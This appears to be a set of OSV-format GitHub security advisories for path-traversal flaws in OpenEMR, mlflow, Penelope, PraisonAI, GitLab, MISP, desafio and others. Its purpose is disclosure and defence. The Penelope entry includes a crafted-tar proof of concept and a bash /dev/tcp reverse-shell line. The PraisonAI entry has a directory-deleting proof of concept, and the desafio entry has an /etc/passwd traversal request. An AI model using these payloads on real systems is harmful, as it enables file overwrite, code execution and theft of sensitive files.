CWE-22

{
  "affected": [],
  "aliases": [
    "CVE-2012-0991"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-02-07T21:55:00Z",
    "severity": "LOW"
  },
  "details": "Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.",
  "id": "GHSA-f3x3-49j2-r3jp",
  "modified": "2022-05-17T01:49:11Z",
  "published": "2022-05-17T01:49:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0991"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/72914"
    },
    {
      "type": "WEB",
      "url": "https://www.htbridge.ch/advisory/HTB23069"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2012-02/0004.html"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/78727"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/78728"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/78729"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/78730"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/47781"
    },
    {
      "type": "WEB",
      "url": "http://www.open-emr.org/wiki/index.php/OpenEMR_Patches"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/51788"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pear/archive_tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2"
            },
            {
              "fixed": "1.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2006-0931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-30T18:09:28Z",
    "nvd_published_at": "2006-02-28T11:02:00Z",
    "severity": "CRITICAL"
  },
  "details": "Directory traversal vulnerability in PEAR::Archive_Tar 1.2, and other versions before 1.3.2, allows remote attackers to create and overwrite arbitrary files via certain crafted pathnames in a TAR archive.",
  "id": "GHSA-f3xw-vgc7-f7h8",
  "modified": "2024-10-30T18:09:28Z",
  "published": "2022-05-01T06:43:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-0931"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pear/Archive_Tar"
    },
    {
      "type": "WEB",
      "url": "http://pear.php.net/bugs/bug.php?id=6933"
    },
    {
      "type": "WEB",
      "url": "http://pear.php.net/package/Archive_Tar/download"
    },
    {
      "type": "WEB",
      "url": "http://www.hamid.ir/security/phptar.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PEAR::Archive_Tar Directory Traversal vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-16T18:18:31Z",
    "nvd_published_at": "2024-04-16T00:15:09Z",
    "severity": "HIGH"
  },
  "details": "A path traversal vulnerability exists in the mlflow/mlflow repository due to improper handling of URL parameters. By smuggling path traversal sequences using the \u0027;\u0027 character in URLs, attackers can manipulate the \u0027params\u0027 portion of the URL to gain unauthorized access to files or directories. This vulnerability allows for arbitrary data smuggling into the \u0027params\u0027 part of the URL, enabling attacks similar to those described in previous reports but utilizing the \u0027;\u0027 character for parameter smuggling. Successful exploitation could lead to unauthorized information disclosure or server compromise.",
  "id": "GHSA-f42m-mvfv-cgw5",
  "modified": "2024-04-16T18:18:31Z",
  "published": "2024-04-16T00:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1593"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/dbdc6bd6-d09a-46f2-9d9c-5138a14b6e31"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mlflow vulnerable to Path Traversal"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-25610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-22T14:16:29Z",
    "severity": "HIGH"
  },
  "details": "NetNumber Titan Master 7.9.1 contains a path traversal vulnerability in the drp endpoint that allows authenticated users to download arbitrary files by injecting directory traversal sequences. Attackers can manipulate the path parameter with base64-encoded payloads containing ../ sequences to bypass authorization and retrieve sensitive system files like /etc/shadow.",
  "id": "GHSA-f42w-655x-jc67",
  "modified": "2026-03-22T15:31:28Z",
  "published": "2026-03-22T15:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25610"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46811"
    },
    {
      "type": "WEB",
      "url": "https://www.netnumber.com/products/#data"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/netnumber-titan-master-path-traversal-via-drp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "penelope-shell-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T15:34:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPenelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as `../`, causing files to be written outside the intended download directory on the Penelope operator\u0027s machine.\n\nThe impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as `~/.penelope/peneloperc`. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.\n\n### Affected conditions\n\nThe issue requires the operator to use the Main Menu `download` command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote `tar` command.\n\nThe vulnerable behavior is related to Python\u0027s historical `tarfile` extraction defaults. In Python versions before 3.14, `TarFile.extractall()` did not use the safer `data` extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.\n\nPython 3.14 changes the default extraction behavior to use the `data` filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.\n\n### Details\n\nThe vulnerable code is in the Unix `download()` implementation.\n\nPenelope creates a local download directory:\n\n```python\nlocal_download_folder = self.directory / \"downloads\"\n```\n\nLater, it opens a tar archive received from the remote session:\n\n```python\ntar = tarfile.open(mode=mode, fileobj=tar_source)\n```\n\nThen it extracts all members without validating archive paths:\n\n```python\ntar.extractall(local_download_folder)\n```\n\nBecause member names are trusted, a malicious tar archive can contain paths such as:\n\n```text\n../../../../../home/operator/.penelope/peneloperc\n```\n\nThis escapes the intended `local_download_folder` and writes to an arbitrary path writable by the Penelope operator.\n\nThe same extraction block also suppresses Python\u0027s `DeprecationWarning` around unsafe tar extraction:\n\n```python\nwith warnings.catch_warnings():\n    warnings.simplefilter(\"ignore\", category=DeprecationWarning)\n    tar.extractall(local_download_folder)\n```\n\nThe file-write impact can be chained with Penelope\u0027s rc loading behavior:\n\n```python\ndef load_rc():\n    RC = Path(options.basedir / \"peneloperc\")\n    try:\n        with open(RC, \"r\") as rc:\n            exec(rc.read(), globals())\n```\n\nBy default, `options.basedir` is `~/.penelope`, so the executed rc file is:\n\n```text\n~/.penelope/peneloperc\n```\n\nSince session downloads are stored under `~/.penelope/sessions/\u003csession\u003e/downloads`, a crafted tar member can traverse upward and plant or replace `~/.penelope/peneloperc`. The planted Python code executes when Penelope starts again or when the operator runs `reload`.\n\n### PoC\n\nThe following reproduces the issue locally by simulating a malicious remote endpoint. The fake `tar` binary is placed first in `PATH` for the test shell, so when Penelope asks the remote session to run `tar`, the remote session returns a crafted archive with path traversal entries.\n\nStart Penelope in Terminal 1:\n\n```bash\npenelope -p 4444 -U -C #No upgrade and session connection needed\n```\n\u003cimg width=\"1920\" height=\"337\" alt=\"path1\" src=\"https://github.com/user-attachments/assets/c8cb2dd6-e6d5-43ce-b3a2-61005dbcf95c\" /\u003e\n\nPrepare the fake remote `tar` in Terminal 2:\n\n```bash\nmkdir -p /tmp/penelope-fakebin\nmkdir -p \"$HOME/.penelope\" \"$HOME/.ssh\"\ncp -f \"$HOME/.penelope/peneloperc\" /tmp/peneloperc.backup 2\u003e/dev/null || true\n\ncat \u003e /tmp/penelope-fakebin/tar \u003c\u003c\u0027EOF\u0027\n#!/usr/bin/env python3\nimport io\nimport os\nimport sys\nimport tarfile\nimport time\n\nhome = os.path.expanduser(\"~\")\ntarget_home = home.lstrip(\"/\")\n\ndef add_file(tar, target, data):\n    data = data.encode()\n    info = tarfile.TarInfo(target)\n    info.size = len(data)\n    info.mode = 0o644\n    info.mtime = int(time.time())\n    tar.addfile(info, io.BytesIO(data))\n\nwith tarfile.open(mode=\"w:gz\", fileobj=sys.stdout.buffer) as tar:\n    add_file(tar, \"../../../../../\" + target_home + \"/PENELOPE_CVE_PROOF.txt\", \"Penelope path traversal proof\\n\")\n    add_file(tar, \"../../../../../\" + target_home + \"/.ssh/PENELOPE_SSH_KEY.txt\", \"fake-demo-ssh_key-not-for-authentication\\n\")\n    add_file(\n        tar,\n        \"../../../../../\" + target_home + \"/.penelope/peneloperc\",\n        \"open(\u0027/\" + target_home + \"/PENELOPE_RC_EXECUTED.txt\u0027, \u0027w\u0027).write(\u0027peneloperc executed via reload\\\\n\u0027)\\n\"\n    )\nEOF\n\nchmod +x /tmp/penelope-fakebin/tar\ntouch /tmp/penelope_dummy\n```\n\nConnect the local test shell back to Penelope in Terminal 2:\n\n```bash\nPATH=/tmp/penelope-fakebin:$PATH bash -c \u0027bash -i \u003e\u0026 /dev/tcp/127.0.0.1/4444 0\u003e\u00261\u0027\n```\n\u003cimg width=\"1920\" height=\"1000\" alt=\"path2\" src=\"https://github.com/user-attachments/assets/c6db4888-9a41-4a99-b8d1-35c06f07ca4a\" /\u003e\n\nIn Terminal 1, inside Penelope, trigger the vulnerable download:\n\n```text\ndownload /tmp/penelope_dummy\n```\n\nVerify in Terminal 3 that files were written outside the intended download directory:\n\n```bash\ncat \"$HOME/PENELOPE_CVE_PROOF.txt\"\ncat \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\ngrep PENELOPE_RC_EXECUTED \"$HOME/.penelope/peneloperc\"\n```\n\u003cimg width=\"1920\" height=\"573\" alt=\"path3\" src=\"https://github.com/user-attachments/assets/9c7c8d3b-00ee-4d74-b195-1e91ff581243\" /\u003e\n\nExpected output includes:\n\n```text\nPenelope path traversal proof\nfake-demo-ssh_key-not-for-authentication\nopen(\u0027/home/\u003cuser\u003e/PENELOPE_RC_EXECUTED.txt\u0027, \u0027w\u0027).write(\u0027peneloperc executed via reload\\n\u0027)\n```\n\nIn Terminal 1, inside Penelope, execute the planted rc line:\n\n```text\nreload\n```\n\nVerify in Terminal 3 that `peneloperc` executed:\n\n```bash\ncat \"$HOME/PENELOPE_RC_EXECUTED.txt\"\n```\n\nExpected output:\n\n```text\npeneloperc executed via reload\n```\n\nCleanup:\n\n```bash\nrm -f \"$HOME/PENELOPE_CVE_PROOF.txt\"\nrm -f \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\nrm -f \"$HOME/PENELOPE_RC_EXECUTED.txt\"\nif [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup \"$HOME/.penelope/peneloperc\"; else rm -f \"$HOME/.penelope/peneloperc\"; fi\nrm -f /tmp/peneloperc.backup\nrm -rf /tmp/penelope-fakebin\nrm -f /tmp/penelope_dummy\n```\n\n### Impact\n\nA malicious remote session can write arbitrary files on the Penelope operator\u0027s machine, limited to the permissions of the user running Penelope.\n\nFor a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:\n\n```text\n~/.penelope/peneloperc\n~/.bashrc\n~/.profile\n~/.config/autostart/*.desktop\n```\n\nFor a root operator, the impact is higher because root-writable files may be overwritten.\n\n### Suggested Fix\n\nValidate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, `filter=\"data\"` can be used as an additional safeguard.",
  "id": "GHSA-f42x-p2mx-hm8r",
  "modified": "2026-07-29T15:34:16Z",
  "published": "2026-07-29T15:34:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/brightio/penelope"
    },
    {
      "type": "WEB",
      "url": "https://github.com/brightio/penelope/releases/tag/v0.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.57"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:24:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPraisonAI\u0027s template loader accepts GitHub template URIs with refs, for example\n`github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled\ntemplate path and ref verbatim, and the cache layer later joins those values into\n`~/.praison/cache/templates/github/\u003cowner\u003e/\u003crepo\u003e/\u003ctemplate\u003e/\u003cref\u003e` without\nnormalizing each segment or checking that the final path remains inside the\ntemplate cache root.\n\nA crafted ref such as `../../../../../../outside-delete-target` therefore\nescapes the cache directory. The first load can write `.cache_meta.json` outside\nthe cache. If the normal cache hierarchy for the same owner/repo/template has\nalready been created, the same path reaches `shutil.rmtree(cache_path)` and\nremoves an attacker-selected outside directory before replacing it with cache\nmetadata.\n\nThis is distinct from the old template Zip Slip advisory. No malicious archive\nmember is needed, and the PoV disables network access entirely. The bug is in\ncache-key construction for GitHub template URIs.\n\n## Affected versions\n\nConfirmed vulnerable:\n\n- `v2.6.0`\n- `v3.9.24`\n- `v3.9.26`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.9`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nRecommended affected range: `\u003e= 2.6.0, \u003c= 4.6.57`.\n\nNo fixed version is known at the time of this report.\n\n## Impact\n\nAn attacker who can cause a user or service to load an attacker-supplied\nPraisonAI GitHub template URI can:\n\n- create `.cache_meta.json` outside the template cache directory;\n- delete a directory reachable by the PraisonAI process after a normal cache\n  entry exists for the same owner/repo/template prefix;\n- corrupt user configuration, project state, or application data reachable by\n  the process permissions.\n\n## Root cause\n\nCurrent-head code path:\n\n- `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref`\n  with broad regex groups and returns them without segment validation.\n- `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources\n  by default when `allow_any_github` is true.\n- `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI,\n  fetches the template, calculates a checksum, then calls `self.cache.put(...)`.\n- `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as\n  `self.cache_dir / \"github\" / resolved.owner / resolved.repo /\n  resolved.path / ref`.\n- `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with\n  `shutil.rmtree(cache_path)`, recreates it, copies content, and writes\n  `.cache_meta.json`.\n\nThere is no check equivalent to:\n\n1. reject absolute path segments;\n2. reject `.` / `..` in owner, repo, template path, or ref;\n3. resolve the candidate path;\n4. require `os.path.commonpath([cache_root, candidate]) == cache_root`.\n\n## Local-only PoV\n\nRun from a PraisonAI source checkout:\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonai.templates.cache import TemplateCache\nfrom praisonai.templates.loader import TemplateLoader\nfrom praisonai.templates.registry import TemplateRegistry\n\ndef loader(cache_dir):\n    cache = TemplateCache(cache_dir=cache_dir)\n    registry = TemplateRegistry(cache=cache, offline=False)\n    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(\n        RuntimeError(\"network disabled\")\n    )\n    return TemplateLoader(cache=cache, registry=registry)\n\nwith TemporaryDirectory(prefix=\"prai-cache-ref-pov-\") as tmp:\n    root = Path(tmp)\n    cache_dir = root / \"cache\" / \"templates\"\n\n    write_target = root / \"outside-write-target\"\n    loader(cache_dir).load(\n        \"github:attacker/repo/template@../../../../../../outside-write-target\"\n    )\n\n    delete_target = root / \"outside-delete-target\"\n    delete_target.mkdir()\n    canary = delete_target / \"canary.txt\"\n    canary.write_text(\"delete-me\")\n\n    ldr = loader(cache_dir)\n    ldr.load(\"github:attacker/repo/template@main\")\n    ldr.load(\n        \"github:attacker/repo/template@../../../../../../outside-delete-target\"\n    )\n\n    safe_target = root / \"safe-control\"\n    safe_target.mkdir()\n    safe_canary = safe_target / \"canary.txt\"\n    safe_canary.write_text(\"must-remain\")\n    loader(root / \"safe-cache\" / \"templates\").load(\n        \"github:attacker/repo/template@main\"\n    )\n\n    print(\"outside metadata written:\", (write_target / \".cache_meta.json\").exists())\n    print(\"outside canary exists after malicious ref:\", canary.exists())\n    print(\"safe canary exists after normal ref:\", safe_canary.exists())\n```\n\nExpected output:\n\n```text\noutside metadata written: True\noutside canary exists after malicious ref: False\nsafe canary exists after normal ref: True\n```\n\nThe PoV uses only temporary directories and disables network fetches.\n\nI also confirmed the same behavior without monkeypatching network fetches. With\na non-existent GitHub repository, PraisonAI makes real GitHub requests, handles\nthe failed fetch, returns a fallback template config, and still writes/deletes\nthrough the escaped cache path. The PoV above disables network only to keep the\nreproducer deterministic and harmless.\n\n## Release sweep\n\nThe same PoV was run against checked-out tags:\n\n```text\npraisonai-current metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True\npraisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True\n```\n\n`git log` shows the affected template cache/resolver/registry files were added\nin the `v2.6.0` release commit `e7a8ce8e`.\n\n\n## Suggested fix\n\nValidate every cache path segment before joining:\n\n- owner and repo: strict GitHub owner/repo-name regex;\n- template path: split on `/` and reject empty, `.`, `..`, and absolute forms;\n- ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute\n  forms, or encode/hash the ref before using it in a filesystem path.\n\nThen enforce a final boundary check:\n\n```python\ncache_root = self.cache_dir.resolve()\ncandidate = (cache_root / \"github\" / owner / repo / safe_path / safe_ref).resolve()\nif os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):\n    raise ValueError(\"template cache path escapes cache root\")\n```\n\nA more robust design is to hash untrusted URI fields into opaque directory names\ninstead of using raw remote identifiers as path segments.\n\nAlso consider failing closed when a GitHub template fetch returns no files.\nCurrently a failed fetch can still result in a cached empty template directory.",
  "id": "GHSA-f44v-7qgw-9gh9",
  "modified": "2026-07-20T21:24:05Z",
  "published": "2026-06-18T14:24:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f44v-7qgw-9gh9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion"
}

{
  "affected": [],
  "aliases": [
    "CVE-2002-2154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2002-12-31T05:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in Monkey HTTP Daemon 0.1.4 allows remote attackers to read arbitrary files via .. (dot dot) sequences.",
  "id": "GHSA-f474-2mpq-x44c",
  "modified": "2022-04-30T18:22:36Z",
  "published": "2022-04-30T18:22:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2002-2154"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2002-09/0298.html"
    },
    {
      "type": "WEB",
      "url": "http://www.iss.net/security_center/static/10188.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/5792"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-85706"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-12T03:16:30Z",
    "severity": "CRITICAL"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing authentication enforcement in the repository commits API.",
  "id": "GHSA-f47w-mrg9-g9p2",
  "modified": "2026-09-12T12:30:50Z",
  "published": "2026-09-12T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85706"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3909881"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/627748"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-85706"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-95693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T15:17:27Z",
    "severity": "MODERATE"
  },
  "details": "In MISP, the EventReport::uploadPicture method in processed a caller-supplied tmp_name field by invoking file_exists(), mime_content_type(), and exif_imagetype() on the supplied path before verifying that the value was a genuine PHP upload via is_uploaded_file(). An authenticated user holding the perm_add permission could supply an arbitrary filesystem path as the tmp_name value. The application would then probe that path and return distinct validation error messages depending on whether the file existed, its MIME type, or its image format. By observing the differing error responses, an attacker could enumerate the existence of files at arbitrary paths on the MISP server and determine their type.\u00a0\n\nThis constitutes an information disclosure vulnerability: the server\u0027s filesystem layout and file types are leaked to any user with the perm_add role without requiring administrative access.\u00a0\n\nThe vulnerability does not allow reading file contents, writing files, or executing code, but it can aid further attacks by revealing sensitive file locations (e.g., configuration files, private keys, or other artifacts) present on the host.",
  "id": "GHSA-f496-75v4-rv5q",
  "modified": "2026-09-22T15:32:43Z",
  "published": "2026-09-22T15:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95693"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/9a2a4acfe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "desafio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:33:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `desafio` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nno patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
  "id": "GHSA-f499-jv47-9wxf",
  "modified": "2023-09-06T20:04:27Z",
  "published": "2018-08-06T21:40:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16164"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/desafio"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-f499-jv47-9wxf"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/397"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Directory Traversal in desafio"
}